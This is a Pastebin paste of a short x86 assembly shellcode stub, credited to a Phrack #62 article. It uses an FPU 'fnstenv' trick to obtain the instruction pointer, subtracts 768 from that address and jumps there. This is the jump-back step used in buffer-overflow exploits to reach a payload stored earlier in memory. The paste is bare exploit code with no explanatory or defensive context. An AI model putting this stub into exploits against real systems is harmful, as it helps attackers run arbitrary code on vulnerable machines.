Advertisement
Guest User

Untitled

a guest
Feb 23rd, 2013
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. [BITS 32]
  2.  
  3. global _start
  4.  
  5. _start:
  6.  
  7. # ;--- Taken from phrack #62 Article 7 Originally written by Aaron Adams #
  8. # ;--- copy eip into ecx
  9. fldz
  10. fnstenv [esp-12]
  11. pop ecx
  12. add cl, 10
  13. nop
  14.  
  15. # ;----------------------------------------------------------------------
  16. dec ch  ; ecx=-256;
  17. dec ch  ; ecx=-256;
  18. dec ch  ; ecx=-256;
  19. dec ch  ; ecx=-256;
  20. dec ch  ; ecx=-256;
  21. jmp ecx ; lets jmp ecx (current location - 768)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement